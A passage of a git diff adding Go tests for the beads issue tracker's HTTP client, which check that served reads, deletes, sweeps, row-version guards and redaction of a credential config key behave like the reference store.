TestTheReadyBridgeAnswersTheSameRowsOverHTTP(t *testing.T) { + e := newServedEnv(t, "rdy") + ctx := t.Context() + + for _, row := range []*types.Issue{ + {ID: "rdy-1", Title: "ready one", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 1}, + {ID: "rdy-2", Title: "ready two", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2, Assignee: "ada"}, + {ID: "rdy-3", Title: "in progress", Status: types.StatusInProgress, IssueType: types.TypeTask, Priority: 1}, + {ID: "rdy-4", Title: "closed", Status: types.StatusClosed, IssueType: types.TypeTask}, + } { + if err := e.createIssue(ctx, row, "seed"); err != nil { + t.Fatalf("seed %s: %v", row.ID, err) + } + } + + for _, tc := range []struct { + name string + req issueops.ReadyRequest + }{ + {"an unfiltered listing", issueops.ReadyRequest{Sort: "priority"}}, + {"an assignee filter", issueops.ReadyRequest{Assignee: "ada", Sort: "priority"}}, + {"a bounded page", issueops.ReadyRequest{Sort: "priority", Limit: ptrTo(1)}}, + } { + t.Run(tc.name, func(t *testing.T) { + // The one shape the CLI produces: workapi.BuildReadyFilter stamps + // Status=StatusOpen, which the pre-fix bridge refused on sight. + filter, err := workapi.BuildReadyFilter(tc.req) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + local, err := e.reference.GetReadyWork(ctx, filter) + if err != nil { + t.Fatalf("reference GetReadyWork: %v", err) + } + remote, err := e.subject.GetReadyWork(ctx, filter) + if err != nil { + t.Fatalf("http GetReadyWork: %v", err) + } + if !equalIDs(issueIDs(remote), issueIDs(local)) { + t.Errorf("http answered %v, the reference answered %v", issueIDs(remote), issueIDs(local)) + } + }) + } +} + +// TestTheReadyBridgeDualRunsBuildReadyFilterOverBothReadPaths is the ship-blocker +// regression pin (ga-b8ddd.13). Every real `bd ready` and `bd ready --json` builds +// its filter through workapi.BuildReadyFilter, which stamps Status=StatusOpen — the +// value the pre-fix bridge refused, so every http invocation failed before it +// dialed. This pushes that exact filter through BOTH read paths, the text +// GetReadyWork and the --json GetReadyWorkWithCounts, and byte-compares the http +// answer against the reference store's own. The in_progress and closed rows make +// the open-only derivation observable: a bridge that sent the wrong status, or a +// server that re-derived open+in_progress, would diverge here rather than pass. +func TestTheReadyBridgeDualRunsBuildReadyFilterOverBothReadPaths(t *testing.T) { + e := newServedEnv(t, "rdd") + ctx := t.Context() + + for _, row := range []*types.Issue{ + {ID: "rdd-open-hi", Title: "open high", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 0}, + {ID: "rdd-open-lo", Title: "open low", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 3, Assignee: "ada"}, + {ID: "rdd-inprog", Title: "in progress", Status: types.StatusInProgress, IssueType: types.TypeTask, Priority: 0}, + {ID: "rdd-closed", Title: "closed", Status: types.StatusClosed, IssueType: types.TypeTask}, + } { + if err := e.createIssue(ctx, row, "seed"); err != nil { + t.Fatalf("seed %s: %v", row.ID, err) + } + } + + for _, tc := range []struct { + name string + req issueops.ReadyRequest + }{ + {"the default listing", issueops.ReadyRequest{Sort: "priority"}}, + {"an assignee filter", issueops.ReadyRequest{Assignee: "ada", Sort: "priority"}}, + {"a bounded page", issueops.ReadyRequest{Sort: "priority", Limit: ptrTo(1)}}, + } { + t.Run(tc.name, func(t *testing.T) { + filter, err := workapi.BuildReadyFilter(tc.req) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + if filter.Status != types.StatusOpen { + t.Fatalf("BuildReadyFilter produced Status=%q, want the StatusOpen this regression is about", filter.Status) + } + + // The text path (`bd ready`). + localText, err := e.reference.GetReadyWork(ctx, filter) + if err != nil { + t.Fatalf("reference GetReadyWork: %v", err) + } + remoteText, err := e.subject.GetReadyWork(ctx, filter) + if err != nil { + t.Fatalf("http GetReadyWork refused the BuildReadyFilter shape: %v", err) + } + assertSameJSON(t, "GetReadyWork", localText, remoteText) + + // The --json path (`bd ready --json`). + localCounts, err := e.reference.GetReadyWorkWithCounts(ctx, filter) + if err != nil { + t.Fatalf("reference GetReadyWorkWithCounts: %v", err) + } + remoteCounts, err := e.subject.GetReadyWorkWithCounts(ctx, filter) + if err != nil { + t.Fatalf("http GetReadyWorkWithCounts refused the BuildReadyFilter shape: %v", err) + } + assertSameJSON(t, "GetReadyWorkWithCounts", localCounts, remoteCounts) + + // The --json path with its in-band total (upstream #6731): the + // same page, and the size of the whole ready set. "a bounded + // page" comes back truncated, so it exercises the countReadyWork + // round trip; the others answer from has_more alone. + localPage, localTotal, err := e.reference.GetReadyWorkWithCountsAndTotal(ctx, filter) + if err != nil { + t.Fatalf("reference GetReadyWorkWithCountsAndTotal: %v", err) + } + remotePage, remoteTotal, err := e.subject.GetReadyWorkWithCountsAndTotal(ctx, filter) + if err != nil { + t.Fatalf("http GetReadyWorkWithCountsAndTotal: %v", err) + } + assertSameJSON(t, "GetReadyWorkWithCountsAndTotal", localPage, remotePage) + if remoteTotal != localTotal { + t.Errorf("http total = %d, the reference answered %d", remoteTotal, localTotal) + } + unbounded := filter + unbounded.Limit = 0 + all, err := e.reference.GetReadyWorkWithCounts(ctx, unbounded) + if err != nil { + t.Fatalf("reference unbounded GetReadyWorkWithCounts: %v", err) + } + if remoteTotal != len(all) { + t.Errorf("http total = %d, want the unbounded listing's %d", remoteTotal, len(all)) + } + + // Open-only is re-derived server-side from the status the bridge + // dropped: neither the in_progress nor the closed row may appear. + for _, got := range issueIDs(remoteText) { + if got == "rdd-inprog" || got == "rdd-closed" { + t.Errorf("ready work admitted %q; open-only was not re-derived", got) + } + } + }) + } +} + +// TestTheReadyBridgeRefusesAnInexpressibleFilter is L12 at the seam: a filter +// field with no wire parameter refuses rather than being dropped, because a +// dropped filter widens the answer invisibly. +// +// The examples are GENUINELY non-default: an in_progress restriction and a +// multi-status OR set, neither of which workapi.BuildReadyFilter ever produces. +// StatusOpen is deliberately absent — it is the derived default the bridge now +// drops, and asserting a refusal on it (as this test once did) is what cemented +// the ship blocker. +func TestTheReadyBridgeRefusesAnInexpressibleFilter(t *testing.T) { + e := newServedEnv(t, "rdr") + + for _, tc := range []struct { + name string + filter types.WorkFilter + row string + }{ + { + "an in_progress restriction the wire cannot state", + types.WorkFilter{Status: types.StatusInProgress}, + "E-WorkFilter.Status", + }, + { + // The derived-default Status passes the inversion; the populated + // OR-set the wire cannot carry still refuses on the residual sweep. + "a multi-status OR set", + types.WorkFilter{Status: types.StatusOpen, Statuses: []types.Status{types.StatusOpen, types.StatusInProgress}}, + "E-WorkFilter.Statuses", + }, + { + // An id exclusion set has no ready parameter; dropping it would + // list (and count) the very rows the caller excluded. + "an id exclusion set", + types.WorkFilter{Status: types.StatusOpen, ExcludeIDs: []string{"rdr-1"}}, + "E-WorkFilter.ExcludeIDs", + }, + } { + t.Run(tc.name, func(t *testing.T) { + _, err := e.subject.GetReadyWork(t.Context(), tc.filter) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("%s returned %v, want a refusal", tc.name, err) + } + var refusal *encode.RefusedError + if errors.As(err, &refusal) && refusal.Row.ID != tc.row { + t.Errorf("the refusal cites %q, want %q", refusal.Row.ID, tc.row) + } + // The in-band-total listing refuses the same filter the same way, + // before either request: its count encoder is the listing's. + _, _, err = e.subject.GetReadyWorkWithCountsAndTotal(t.Context(), tc.filter) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("GetReadyWorkWithCountsAndTotal: %s returned %v, want a refusal", tc.name, err) + } + if errors.As(err, &refusal) && refusal.Row.ID != tc.row { + t.Errorf("GetReadyWorkWithCountsAndTotal: the refusal cites %q, want %q", refusal.Row.ID, tc.row) + } + }) + } +} + +// TestTheReadyBridgeEnforcesMaxRowsClientSide is D12 on the cursorless +// operation: the wire publishes no max_rows, so the cap is synthesized into the +// sentinel `bd ready` classifies into exit 2. +func TestTheReadyBridgeEnforcesMaxRowsClientSide(t *testing.T) { + e := newServedEnv(t, "rmx") + ctx := t.Context() + + for _, id := range []string{"rmx-1", "rmx-2"} { + if err := e.createIssue(ctx, &types.Issue{ID: id, Title: id, Status: types.StatusOpen, IssueType: types.TypeTask}, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + + // The derived-default status the bridge drops; an empty status now refuses, + // so the cap is exercised on the shape `bd ready` actually sends. + if _, err := e.subject.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}); err != nil { + t.Fatalf("an uncapped listing: %v", err) + } + _, err := e.subject.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen, MaxRows: 1, MaxRowsSource: "--max-rows"}) + var tooMany *storageops.ErrTooManyRows + if !errors.As(err, &tooMany) { + t.Fatalf("the cap did not fire: %v", err) + } + if tooMany.Cap != 1 || tooMany.Source != "--max-rows" { + t.Errorf("the synthesized cap error = %+v, want Cap 1 attributed to --max-rows", tooMany) + } +} + +// TestTheParentExistenceProbeCrossesTheWire is the raw GetIssue the walk runs +// before it descends: a miss is (nil, nil), because getHierarchicalChildren +// reads a nil result as "parent issue not found" and an error would print the +// transport's vocabulary in its place. +func TestTheParentExistenceProbeCrossesTheWire(t *testing.T) { + e := newServedEnv(t, "prb") + ctx := t.Context() + + if err := e.createIssue(ctx, &types.Issue{ID: "prb-1", Title: "present", Status: types.StatusOpen, IssueType: types.TypeTask}, "seed"); err != nil { + t.Fatalf("seed: %v", err) + } + + got, err := e.subject.GetIssue(ctx, "prb-1") + if err != nil || got == nil || got.ID != "prb-1" { + t.Fatalf("GetIssue on a hit = (%v, %v)", got, err) + } + if got, err = e.subject.GetIssue(ctx, "prb-nope"); err != nil || got != nil { + t.Errorf("GetIssue on a miss = (%v, %v), want (nil, nil)", got, err) + } +} + +// TestBridgeGetIssuePopulatesRowVersionForAGuardedWrite is HIGH 5's second pin: +// the raw bridge GetIssue above returns a hit by value with no RowVersion +// assertion, same as the molecule loader's existence probe +// (internal/molecules/molecules.go) that is this method's other caller — so a +// stitched-at-zero regression here would have shipped silently next to the +// passing test above it. +// +// types.Issue.RowVersion is json:"-"; getIssue's wire body carries the same +// token under Revision instead, and bridge.go's GetIssue must stitch it back +// onto the issue it returns, exactly as Reader.Get does in role_reader.go +// (pinned by TestServedReaderGetPopulatesRowVersionForAGuardedWrite). This +// proves it the same way: by guarding a write with whatever GetIssue just +// answered, over the same wire, and requiring a second write that reuses the +// now-stale token to be refused. A read alone cannot tell a stitched zero from +// a real one that happens to equal it on a fresh table — only a guard that +// the write actually enforces can. +func TestBridgeGetIssuePopulatesRowVersionForAGuardedWrite(t *testing.T) { + e := newServedEnv(t, "brgv") + ctx := t.Context() + lifecycle, err := e.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + issue := &types.Issue{Title: "bridge row version round trip", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := e.createIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed: %v", err) + } + + got, err := e.subject.GetIssue(ctx, issue.ID) + if err != nil || got == nil { + t.Fatalf("GetIssue: (%v, %v)", got, err) + } + if got.RowVersion == 0 { + t.Fatalf("GetIssue answered RowVersion 0; want the row's real token") + } + staleVersion := got.RowVersion + + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("first guarded write")}, + }); err != nil { + t.Fatalf("Update guarded by the token GetIssue answered: %v", err) + } + + _, err = lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("second guarded write, same stale token")}, + }) + if err == nil { + t.Fatal("Update reused GetIssue's token after a write moved the row past it; want a version-guard refusal") + } +} + +// TestSearchIssuesExactIDPopulatesRowVersionForAGuardedWrite pins the same +// stitch as TestBridgeGetIssuePopulatesRowVersionForAGuardedWrite, for +// SearchIssues' own exact-id fast path (getIssuesByExactID in resolve.go) +// rather than the raw bridge GetIssue. That path decodes the same +// apigen.ContextResponse-shaped IssueDetails getIssue does, but — unlike +// bridge.go's GetIssue and role_reader.go's Reader.Get — it never parsed +// details.Revision, so SearchIssues(ctx, "", IssueFilter{IDs: ...}) answered +// RowVersion 0 for a row every other read path reports a real token for. This +// proves the stitch the same way the bridge test does: by guarding a write +// with whatever the exact-id search just answered, over the same wire, and +// requiring a second write that reuses the now-stale token to be refused. +func TestSearchIssuesExactIDPopulatesRowVersionForAGuardedWrite(t *testing.T) { + e := newServedEnv(t, "sixi") + ctx := t.Context() + lifecycle, err := e.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + issue := &types.Issue{Title: "exact-id search row version round trip", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := e.createIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed: %v", err) + } + + rows, err := e.subject.SearchIssues(ctx, "", types.IssueFilter{IDs: []string{issue.ID}}) + if err != nil { + t.Fatalf("SearchIssues(exact id): %v", err) + } + if len(rows) != 1 || rows[0] == nil { + t.Fatalf("SearchIssues(exact id) = %+v, want exactly one hit", rows) + } + if rows[0].RowVersion == 0 { + t.Fatalf("SearchIssues(exact id) answered RowVersion 0; want the row's real token") + } + staleVersion := rows[0].RowVersion + + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("first guarded write")}, + }); err != nil { + t.Fatalf("Update guarded by the token SearchIssues answered: %v", err) + } + + _, err = lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("second guarded write, same stale token")}, + }) + if err == nil { + t.Fatal("Update reused SearchIssues' token after a write moved the row past it; want a version-guard refusal") + } +} + +// TestServedWorkspaceConfigWritesRefuse IS GONE, and what it asserted is worth a +// line rather than a silent deletion: while D8 row 11 was PARTIAL, the two write +// verbs refused per METHOD and named themselves, so the accessor could serve the +// reads without the writes silently becoming no-ops. Upstream #5596 published +// both operations and client wave ga-jpywb dials them, so there is no refusal +// left to pin — served_config_test.go runs the whole role contract instead, and +// served_config_write_test.go pins the three things only this leg has. +// +// TestServedRedactedSettingIsAbsentWithReason is ledger row L9, and the reason +// this backend gives ONE answer per key: a withheld value is not the same fact +// as an unset one, so both the raw probe and the role report the withholding +// rather than returning an empty string a caller would read as "nothing stored". +func TestServedRedactedSettingIsAbsentWithReason(t *testing.T) { + e := newServedEnv(t, "red") + ctx := t.Context() + + if err := e.setConfig(ctx, "github.api_token", "ghp-supersecret"); err != nil { + t.Fatalf("seed the credential-bearing key: %v", err) + } + + if _, err := e.subject.GetConfig(ctx, "github.api_token"); !errors.Is(err, ErrSettingRedacted) { + t.Errorf("GetConfig on a redacted key = %v, want ErrSettingRedacted", err) + } + settings, err := e.subject.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + if _, err := settings.GetSetting(ctx, issueops.GetSettingRequest{Key: "github.api_token"}); !errors.Is(err, ErrSettingRedacted) { + t.Errorf("GetSetting on a redacted key = %v, want the same answer the raw probe gives", err) + } + + // The ENUMERATION cannot fail over one key of many, so it lists the key with + // an empty value: the workspace really does store something there. + all, err := e.subject.GetAllConfig(ctx) + if err != nil { + t.Fatalf("GetAllConfig: %v", err) + } + if value, ok := all["github.api_token"]; !ok || value != "" { + t.Errorf("GetAllConfig gave the redacted key (%q, present=%v), want present and empty", value, ok) + } +} + +// TestServedStatisticsProbeAnswersTruthfully is D4's off-role stats row: the +// empty-state probe `bd ready` prints "No open issues" from, which must answer +// from the SERVER rather than fail into a false statement. +func TestServedStatisticsProbeAnswersTruthfully(t *testing.T) { + e := newServedEnv(t, "stp") + ctx := t.Context() + + before, err := e.subject.GetStatistics(ctx) + if err != nil { + t.Fatalf("GetStatistics on an empty workspace: %v", err) + } + if err := e.createIssue(ctx, &types.Issue{ID: "stp-1", Title: "open work", Status: types.StatusOpen, IssueType: types.TypeTask}, "seed"); err != nil { + t.Fatalf("seed: %v", err) + } + after, err := e.subject.GetStatistics(ctx) + if err != nil { + t.Fatalf("GetStatistics: %v", err) + } + if after.OpenIssues != before.OpenIssues+1 { + t.Errorf("open issues went %d -> %d across one seeded row", before.OpenIssues, after.OpenIssues) + } +} + +// TestServedVocabularyReadsDegradeRatherThanFail is L7: the client-side status +// and type vocabulary comes from the pre-migration config keys, which are its +// only wire-visible source, and the reads must never hard-fail — every one of +// them is wrapped by LoadStoreListConfig in a failure that would kill `bd list`. +func TestServedVocabularyReadsDegradeRatherThanFail(t *testing.T) { + e := newServedEnv(t, "voc") + ctx := t.Context() + + // Seeded OUT OF ALPHABETICAL ORDER on purpose: the read answers in NAME + // order, which is what every leg's projected-table read answers, and not in + // the order the config string happens to list them. + if err := e.setConfig(ctx, "types.custom", "spike,chore"); err != nil { + t.Fatalf("seed types.custom: %v", err) + } + if err := e.setConfig(ctx, "status.custom", "shipped:done"); err != nil { + t.Fatalf("seed status.custom: %v", err) + } + + custom, err := e.subject.GetCustomTypes(ctx) + if err != nil { + t.Fatalf("GetCustomTypes: %v", err) + } + if len(custom) != 2 || custom[0] != "chore" || custom[1] != "spike" { + t.Errorf("GetCustomTypes = %v, want [chore spike] — ordered by name, as the table read every other leg makes is", custom) + } + + statuses, err := e.subject.GetCustomStatusesDetailed(ctx) + if err != nil { + t.Fatalf("GetCustomStatusesDetailed: %v", err) + } + if len(statuses) != 1 || statuses[0].Name != "shipped" || statuses[0].Category != types.CategoryDone { + t.Errorf("GetCustomStatusesDetailed = %+v, want shipped:done", statuses) + } + + // The infra vocabulary has no error channel at all, so an unconfigured + // workspace must still answer the defaults rather than an empty map — an + // empty one says "nothing is infrastructure" and admits agent and message + // rows into every default listing. + if infra := e.subject.GetInfraTypes(ctx); !infra["agent"] || !infra["message"] { + t.Errorf("GetInfraTypes = %v, want the defaults", infra) + } +} + +func equalIDs(a, b []string) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if a[i] != b[i] { + return false + } + } + return true +} diff --git a/internal/httpclient/served_bulk_test.go b/internal/httpclient/served_bulk_test.go new file mode 100644 index 000000000..6a02fed37 --- /dev/null +++ b/internal/httpclient/served_bulk_test.go @@ -0,0 +1,820 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_bulk_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "reflect" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Sweeper, Deleter and BatchCreator contracts against the served surface. +// +// The three roles sit at very different distances from the wire, and the parks +// below say where each one stops: +// +// - SWEEP maps whole, in both directions. Every case runs. +// - DELETE maps its whole REQUEST and diverges only in its refusal +// VOCABULARY: the wire flattens *NotFoundError and +// *DependentsOutsideRequestError into a bare sentinel and a 400. Four cases +// bind those typed errors and park; the behavior underneath them — the +// request fails and nothing is deleted — is asserted for real by the two +// bespoke cases below, so the rows retire loudly rather than sitting behind +// a skip. +// - BATCH CREATE maps eight content members of a whole types.Issue, and every +// case that names an explicit id parks with it. That is most of the family, +// because the contract's own preamble says why: "Every case names its own +// ids under the fixture prefix and passes ForceIDPrefix." Three bespoke +// cases below cover the same ground with server-generated ids. +// +// The bead that owns every park here, and unparks each one as the wire grows +// the member behind it. +const bulkParkBead = "ga-6lbny" + +// ── Sweeper ───────────────────────────────────────────────────────────────── + +func newServedSweeperFixture(t *testing.T, prefix string) conformance.SweeperFixture { + t.Helper() + env := newServedEnv(t, prefix) + sweeper, err := env.subject.Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + return conformance.SweeperFixture{ + IssuePrefix: env.prefix, + Sweeper: sweeper, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + CommitPending: env.commitPending, + AddComment: env.addComment, + // Exec is the harness's own raw door, the one the close/reopen cases + // already use. The tier-boundary case needs a LEGACY typed wisp — issues + // plane, wisp_type set, ephemeral 0 — and no create verb can mint one, + // on this leg least of all: the wire has no raw-row surface, so the + // served store reaches the shape through the embedded database behind + // the server and then exercises the sweep over the wire as usual. + Exec: env.exec, + } +} + +func TestServedSweeperRefusesAnUnfilteredDurableSweep(t *testing.T) { + conformance.RunSweeperRefusesAnUnfilteredDurableSweep(t, t.Context(), newServedSweeperFixture(t, "hs00")) +} + +func TestServedSweeperRefusesAMalformedRequest(t *testing.T) { + conformance.RunSweeperRefusesAMalformedRequest(t, t.Context(), newServedSweeperFixture(t, "hs01")) +} + +func TestServedSweeperClearsOneTierAndLeavesTheOther(t *testing.T) { + conformance.RunSweeperClearsOneTierAndLeavesTheOther(t, t.Context(), newServedSweeperFixture(t, "hs02")) +} + +func TestServedSweeperTreatsALegacyTypedWispAsEphemeralTier(t *testing.T) { + conformance.RunSweeperTreatsALegacyTypedWispAsEphemeralTier(t, t.Context(), newServedSweeperFixture(t, "hs11")) +} + +func TestServedSweeperLeavesNoHistoryBeadsToTheDurableTier(t *testing.T) { + conformance.RunSweeperLeavesNoHistoryBeadsToTheDurableTier(t, t.Context(), newServedSweeperFixture(t, "hs12")) +} + +func TestServedSweeperProtectsPinnedRows(t *testing.T) { + conformance.RunSweeperProtectsPinnedRows(t, t.Context(), newServedSweeperFixture(t, "hs03")) +} + +func TestServedSweeperHonorsTheCutoffAndThePattern(t *testing.T) { + conformance.RunSweeperHonorsTheCutoffAndThePattern(t, t.Context(), newServedSweeperFixture(t, "hs04")) +} + +func TestServedSweeperDryRunChangesNothing(t *testing.T) { + conformance.RunSweeperDryRunChangesNothing(t, t.Context(), newServedSweeperFixture(t, "hs05")) +} + +func TestServedSweeperProtectsRowsCitedFromAWispComment(t *testing.T) { + conformance.RunSweeperProtectsRowsCitedFromAWispComment(t, t.Context(), newServedSweeperFixture(t, "hs06")) +} + +func TestServedSweeperProtectsCitedRows(t *testing.T) { + conformance.RunSweeperProtectsCitedRows(t, t.Context(), newServedSweeperFixture(t, "hs07")) +} + +func TestServedSweeperEmptyMatchIsZeroAndNil(t *testing.T) { + conformance.RunSweeperEmptyMatchIsZeroAndNil(t, t.Context(), newServedSweeperFixture(t, "hs08")) +} + +func TestServedSweeperRecordsExactlyOneHistoryEntry(t *testing.T) { + conformance.RunSweeperRecordsExactlyOneHistoryEntry(t, t.Context(), newServedSweeperFixture(t, "hs09")) +} + +func TestServedSweeperDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunSweeperDoesNotMutateTheCallerRequest(t, t.Context(), newServedSweeperFixture(t, "hs10")) +} + +// ── Deleter ───────────────────────────────────────────────────────────────── + +func newServedDeleterFixture(t *testing.T, prefix string) conformance.DeleterFixture { + t.Helper() + env := newServedEnv(t, prefix) + deleter, err := env.subject.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + return conformance.DeleterFixture{ + IssuePrefix: env.prefix, + Deleter: deleter, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + AddDependency: env.addDependency, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + CommitPending: env.commitPending, + } +} + +func TestServedDeleterRefusesAMalformedRequest(t *testing.T) { + conformance.RunDeleterRefusesAMalformedRequest(t, t.Context(), newServedDeleterFixture(t, "hx00")) +} + +func TestServedDeleterRefusesAnAbsentID(t *testing.T) { + skipKnownDivergence(t, "L-delete-notfound", bulkParkBead, parkDeleteNotFound) + conformance.RunDeleterRefusesAnAbsentID(t, t.Context(), newServedDeleterFixture(t, "hx01")) +} + +func TestServedDeleterRefusesDependentsOutsideTheRequest(t *testing.T) { + skipKnownDivergence(t, "L-delete-dependents", bulkParkBead, parkDeleteDependents) + conformance.RunDeleterRefusesDependentsOutsideTheRequest(t, t.Context(), newServedDeleterFixture(t, "hx02")) +} + +func TestServedDeleterForceOrphansDependents(t *testing.T) { + conformance.RunDeleterForceOrphansDependents(t, t.Context(), newServedDeleterFixture(t, "hx03")) +} + +func TestServedDeleterCascadeDeletesTheClosure(t *testing.T) { + conformance.RunDeleterCascadeDeletesTheClosure(t, t.Context(), newServedDeleterFixture(t, "hx04")) +} + +func TestServedDeleterCascadeFromAWispRootDeletesTheClosure(t *testing.T) { + conformance.RunDeleterCascadeFromAWispRootDeletesTheClosure(t, t.Context(), newServedDeleterFixture(t, "hx05")) +} + +func TestServedDeleterGuardsAWispNamedWithADurableDependent(t *testing.T) { + skipKnownDivergence(t, "L-delete-dependents", bulkParkBead, parkDeleteDependents) + conformance.RunDeleterGuardsAWispNamedWithADurableDependent(t, t.Context(), newServedDeleterFixture(t, "hx06")) +} + +func TestServedDeleterGuardsADurableNamedWithAWispDependent(t *testing.T) { + skipKnownDivergence(t, "L-delete-dependents", bulkParkBead, parkDeleteDependents) + conformance.RunDeleterGuardsADurableNamedWithAWispDependent(t, t.Context(), newServedDeleterFixture(t, "hx07")) +} + +func TestServedDeleterCountsCrossPlaneEdgesItRemoves(t *testing.T) { + conformance.RunDeleterCountsCrossPlaneEdgesItRemoves(t, t.Context(), newServedDeleterFixture(t, "hx08")) +} + +func TestServedDeleterNeverCallsALiveRowDeleted(t *testing.T) { + conformance.RunDeleterNeverCallsALiveRowDeleted(t, t.Context(), newServedDeleterFixture(t, "hx09")) +} + +func TestServedDeleterErasesAcrossBothPlanes(t *testing.T) { + conformance.RunDeleterErasesAcrossBothPlanes(t, t.Context(), newServedDeleterFixture(t, "hx10")) +} + +func TestServedDeleterCollapsesDuplicateIDs(t *testing.T) { + conformance.RunDeleterCollapsesDuplicateIDs(t, t.Context(), newServedDeleterFixture(t, "hx11")) +} + +func TestServedDeleterRewritesReferencesInNeighbors(t *testing.T) { + conformance.RunDeleterRewritesReferencesInNeighbors(t, t.Context(), newServedDeleterFixture(t, "hx12")) +} + +func TestServedDeleterDryRunChangesNothing(t *testing.T) { + conformance.RunDeleterDryRunChangesNothing(t, t.Context(), newServedDeleterFixture(t, "hx13")) +} + +func TestServedDeleterRecordsExactlyOneHistoryEntry(t *testing.T) { + conformance.RunDeleterRecordsExactlyOneHistoryEntry(t, t.Context(), newServedDeleterFixture(t, "hx14")) +} + +func TestServedDeleterDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunDeleterDoesNotMutateTheCallerRequest(t, t.Context(), newServedDeleterFixture(t, "hx15")) +} + +// The compare-and-delete precondition, end to end. It is the guard whose failure +// mode has no undo — a dropped one erases a row the caller asked not to erase, +// with nothing left to compare afterwards — so all four of its contracts run +// against a real server rather than stopping at the request assertion. +// +// The arity case is the one that could not have been anticipated client-side: +// the wire refuses a guard beside more than one DISTINCT id, and distinctness +// there is measured after trimming and collapsing duplicates, so `["x", " x "]` +// is ONE bead and legal. That normalization belongs to the server, and this is +// where the client's verbatim ids meet it. + +func TestServedDeleterDeletesOnAMatchingExpectedVersion(t *testing.T) { + conformance.RunDeleterDeletesOnAMatchingExpectedVersion(t, t.Context(), newServedDeleterFixture(t, "hx16")) +} + +func TestServedDeleterRefusesAStaleExpectedVersion(t *testing.T) { + conformance.RunDeleterRefusesAStaleExpectedVersion(t, t.Context(), newServedDeleterFixture(t, "hx17")) +} + +func TestServedDeleterVersionOutranksForceAndCascade(t *testing.T) { + conformance.RunDeleterVersionOutranksForceAndCascade(t, t.Context(), newServedDeleterFixture(t, "hx18")) +} + +func TestServedDeleterRefusesAnExpectedVersionAcrossSeveralIDs(t *testing.T) { + conformance.RunDeleterRefusesAnExpectedVersionAcrossSeveralIDs(t, t.Context(), newServedDeleterFixture(t, "hx19")) +} + +// The three BLOCKED-STATE postconditions of a delete, which map onto the wire +// whole: the request is expressible, and what they assert is what the server's +// deleting transaction leaves behind in a column no read on this surface +// hydrates. +// +// They matter most on the SURVIVORS. A delete is the one write that removes the +// blocker rather than closing it, so a body that settled by re-reading the +// deleted row would find nothing and leave every depender marked blocked by an +// id that no longer exists — a row that can never become ready again and that +// no listing can explain. +func TestServedDeleterSettlesTheSurvivorsOfADeletedBlocker(t *testing.T) { + conformance.RunDeleterSettlesTheSurvivorsOfADeletedBlocker(t, t.Context(), newServedDeleterFixture(t, "hx20")) +} + +func TestServedDeleterSettlesTheSurvivorsOfADeletedWispBlocker(t *testing.T) { + conformance.RunDeleterSettlesTheSurvivorsOfADeletedWispBlocker(t, t.Context(), newServedDeleterFixture(t, "hx21")) +} + +// TestServedDeleterSettlesTheChildrenOfADeletedParent is the inherited half: a +// child orphaned from a blocked parent inherits nothing, so the same +// transaction has to unmark it. +func TestServedDeleterSettlesTheChildrenOfADeletedParent(t *testing.T) { + conformance.RunDeleterSettlesTheChildrenOfADeletedParent(t, t.Context(), newServedDeleterFixture(t, "hx22")) +} + +const parkDeleteNotFound = "the case binds *NotFoundError.IDs, and the wire's 404 carries a FIXED detail that cannot echo caller input back, so the ids that did not resolve are unrecoverable (asserted by TestServedDeleteRefusesAnAbsentIDWithoutNamingIt)" + +const parkDeleteDependents = "the case binds *DependentsOutsideRequestError, and the wire flattens the unforced dependents guard into a 400 invalid_argument with no param, so the blocked id and its dependents cannot be reconstructed without parsing detail prose. " + + "The GUARD is asserted for all three quadrants the contract covers: TestServedDeleteDependentsGuardRefusesAsValidation (durable named, durable dependent, plus the both-ends-named exception), " + + "TestServedDeleteGuardsAWispNamedWithADurableDependent and TestServedDeleteGuardsADurableNamedWithAWispDependent (the two cross-plane directions, unforced refusal AND forced orphan report)" + +// TestServedDeleteRefusesAnAbsentIDWithoutNamingIt is L-delete-notfound's pin, +// and it RUNS. +// +// The row is a divergence in CLASSIFICATION, not in outcome, and the outcome is +// the half that matters: an id naming no row fails the whole request and +// deletes 